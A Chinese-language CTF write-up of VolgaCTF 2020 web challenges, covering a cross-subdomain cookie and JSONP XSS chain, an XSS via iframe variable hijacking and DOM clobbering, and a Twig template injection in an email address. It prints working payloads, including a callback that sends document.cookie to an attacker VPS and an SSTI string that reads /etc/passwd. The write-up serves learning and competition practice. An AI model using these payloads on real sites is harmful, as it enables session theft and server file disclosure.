毛子hackers太强了。一共五个Web,被虐了一天..小记一下比赛做的两个题
(后续看了另一道XSS-VolgaCTF Archive的WP,有感思路属实nb,这里也做个记录
这题挺有意思的,题目一共有三个域名
在api可以更新个人信息,头像内容被base64之后存放到图床,也就是static.volgactf-task.ru
而图床的解析规则是按照api中的type值来确定的,Content-Type过滤了svg、html,可以用Content-Type: text/plain;,text/html
简单bypass一下
到这里static这个子域就可以xss了,可是这个域下没有Cookie,所以我们还要想办法打主域的Cookie。我们看主域关键部分的代码
function replaceForbiden(str) {
return str.replace(/[ !"#$%&´()*+,\-\/:;<=>[email protected]\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}
function getUser(guid) {
if(guid) {
$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
if(!data.success) {
location.replace('/profile.html');
} else {
profile(data.user);
}
});
} else {
$.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
if(!data.success) {
location.replace('/login.html');
} else {
profile(data.user, true);
}
}).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
}
}
$(document).ready(function() {
api = 'api';
if(Cookies.get('api_server')) {
api = replaceForbiden(Cookies.get('api_server'));
} else {
Cookies.set('api_server', api, {secure: true});
}
if(['/','/index.html','/profile.html','/report.php','/editprofile.html'].includes(location.pathname)) {
getUser(params.get('guid'));
}
}
注意到$.getJSON()
是存在问题的:当getJSON的url中存在callback=?这样的参数时,他会当作jsonp的结果进行JS执行。所以只要url部分可控就能在主域xss了
即让$.getJSON()
请求到的资源如下
({"xss":window.location='http://vps:8888/cookie='+document.cookie});
到这里我们理一下思路:在static下种一个主域的cookie,键名为api-sever
。让主域取api后进行getuser()
时,$.getJSON()
发送请求到我们的可控站点,从而回调->XSS。
唯一要解决的问题就是bypass过滤函数replaceForbiden
这一部分很简单,我们利用它的正则来构造一个”?”并且利用guid
拼接一个“callback=?”的参数。下面直接构造poc来打
1、构造static域名下的XSS
<script type="text/javascript">
document.cookie = "api_server=cheerytransparentbutton.hpdoger.repl.co\x99; domain=volgactf-task.ru; path=/profile.html; hostOnly=True";
window.location = 'https://volgactf-task.ru/profile.html?guid=%26callback%3d%3F'
</script>
2、在repl放上主域要用到的XSS资源文件
3、向管理员report-xss-url
https://static.volgactf-task.ru/4e0878c623984223b467a3e47d27cb9a
4、getflag
代码一共就这么多
<script src="./js/pages.js"></script>
<script>
$(window).on('hashchange', function(e) {
volgactf.activePage.location=location.hash.slice(1);
if(volgactf.pages[volgactf.activePage.location]) {
$('#page').attr('src',volgactf.pages[volgactf.activePage.location]);
$('.active').removeClass('active');
$('.nav-item > a:contains('+volgactf.activePage.location+')').addClass('active');
}
});
$(document).ready(function() {
if(location.hash.slice(1) != '2019') {
$(window).trigger('hashchange');
}
});
</script>
其中通过引入./js/pages
自定义了pages结构
volgactf = {
pages: {
'2011': './html/2011.html',
'2012': './html/2012.html',
'2013': './html/2013.html',
'2014': './html/2014.html',
'2015': './html/2015.html',
'2016': './html/2016.html',
'2017': './html/2017.html',
'2018': './html/2018.html',
'2019': './html/2019.html'
},
activePage: {
location: 2019
}
};
如果你挖洞的话,有一个很常见的造成xss的代码如下
location = javascript:alert`1`
那么这道题也一样,我们利用的点也是整体dom的location,所以完全可以把利用点简化为如下形式
$(window).on('hashchange', function(e) {
volgactf.activePage.location=location.hash.slice(1);
}
所以我们就只有这么一个问题要解决:
如何覆盖掉volgactf.activePage
,让它指向一个window,调用location的时候造成xss?
如果比赛的时候我想到这点,很可能就解出来了..之前在暑假的时候研究过一种攻击方式叫做前端全局变量劫持
如果要搞懂这道题,必须看下这篇文章讲的大概。在这里,我摘抄自己当时写的一句话
我们有一个父页面a作为攻击者,儿子页面b作为受害者。如果在儿子页面也增加一个iframe(此时称为孙子页面c),通过操纵c页面设置其location使其指向父页面a,这样父页面a和子页面b在某种变量访问的角度上就同源了。之后再修改孙子页面c中window对象的name值,其作用结果是:提升了孙子页面c的作用域,也就是说c页面中window.name的值成为子页面b的一个全局变量
但是在文章中我也有提到,想要覆盖变量就必须先将变量删除。而之前我们删除变量的手法是利用XSS-Auditor
的机制,然而现在Auditor被砍掉了..然而作者找到了一种新的攻击面–让pages.js加载失败
这里有2种方法实现,摘抄自Sn00py师傅的笔记:
1、是利用浏览器和nginx对url规范化的差异:
请求https://archive.q.2020.volgactf.ru/x/..%2F
时,nginx对url解码,实际请求到https://archive.q.2020.volgactf.ru/ ;
而浏览器认为..%2F 是个文 件,所以最终拼接的js是https://archive.q.2020.volgactf.ru/x/js/pages.js
。
2、利用斜线构造超⻓url:
请求https://archive.q.2020.volgactf.ru////[.....]/////
,使得https://archive.q.2020.volgactf.ru////[.....]/////js/main.js
刚好触发414 Request-URI Too Large。
最后回归到这道题,我们用结论总结一下攻击思路:
攻击者在vps构造父页面a。用iframe生成一个子页面b,使b的src指向https://archive.q.2020.volgactf.ru/x/..%2f
,阻止其加载pages.js
污染儿子页面的volgactf
,使其指向我们的孙子页面c,那么此时volgactf
的值就是孙子页面c的Window
对象
在c页面进行DOM-clobbering,将activePage
属性值设置为题目同域的iframe对象。
改变子页面b的Location,触发hashchange,从而执行
volgactf.activePage.location='javascript:alert(1)';
完整payload如下,摘自Sn00py师傅的总结
vps/index.html -> 父页面
vps/poc.html -> 孙子页面
代码
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;
class MainController extends AbstractController
{
public function index(Request $request)
{
return $this->render('main.twig');
}
public function subscribe(Request $request, MailerInterface $mailer)
{
$msg = '';
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
if($email !== FALSE) {
$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate(
"<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();
$mail = (new Email())->from('[email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);
$msg = 'Success';
} else {
$msg = 'Invalid email';
}
return $this->render('main.twig', ['msg' => $msg]);
}
public function source()
{
return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
}
}
vps搭一个smtp的服务,默认这个域下的邮件都泛解析。我vps正好绑定了博客的host,直接用hpdoger.cn
的邮箱
sn00py师傅推荐的快速Smtp:https://www.npmjs.com/package/simple-smtp-listener
const SMTPServer = require("simple-smtp-listener").Server;
const server = new SMTPServer(25 /* port */);
server.on("@hpdoger.cn", (mail)=>{
console.log(mail.text)
});
接着就是twig的ssti了,server是3.x版本所以打不了RCE。看twig的文档,由于include
和source
受到目录限制,所以想办法找其他的filter来读文件,看文档找到:https://twig.symfony.com/doc/3.x/
读/etc/passwd
,payload如下,双引号bypass FILTER_VALIDATE_EMAIL
否则括号无法使用。
email="{{'/etc/passwd'|file_excerpt(1,srcContext=-1)}}"@hpdoger.cn
服务端接受邮件和回显,我dnmd原来flag藏在这里面